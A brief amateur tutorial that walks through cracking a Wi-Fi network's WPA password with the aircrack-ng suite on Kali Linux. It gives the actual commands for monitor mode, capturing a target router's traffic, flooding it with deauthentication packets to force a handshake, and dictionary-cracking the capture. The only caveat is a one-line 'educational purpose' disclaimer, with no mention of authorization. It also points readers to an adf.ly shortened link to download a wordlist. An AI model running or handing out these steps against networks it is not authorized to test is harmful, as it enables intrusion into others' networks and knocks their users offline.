WIFI HACKING WITH aircrack-ng

NOTE THIS TUTORIAL IS FOR EDUCATIONAL PUROSE ONLY
First!
       download KALI LINUX FROM OFFICIAL WEBSITE "https://www.kali.org/downloads/" and boot it on your pc or laptop then open a terminal:
 And type 

"airmon-ng start wlan0"

                                                                                                                                       

THEN!
           Type  "airodump-ng wlan0mon"  or your moniter mode like mon0 etc

 press enter then this window will appear

AFTER THIS STEP
TYPE   "airodump-ng -c [channel] -bssid [BSSID] -w [output]"

after this open a new terminal and send deauthentication packets to router by this command
               "aireplay-ng -0 0 -a [bssid] [interface]"

AFTER CAPTURING HANDSHAKE  close all terminals
 and open a new terminal and type
             "aircrack-ng -w [path to dictionary] [.cap file from output]"

and press enter

 now you have successsfully hacked into the wifi 
if you don't have a dictionary file 
Download it from  "http://adf.ly/1lKezs"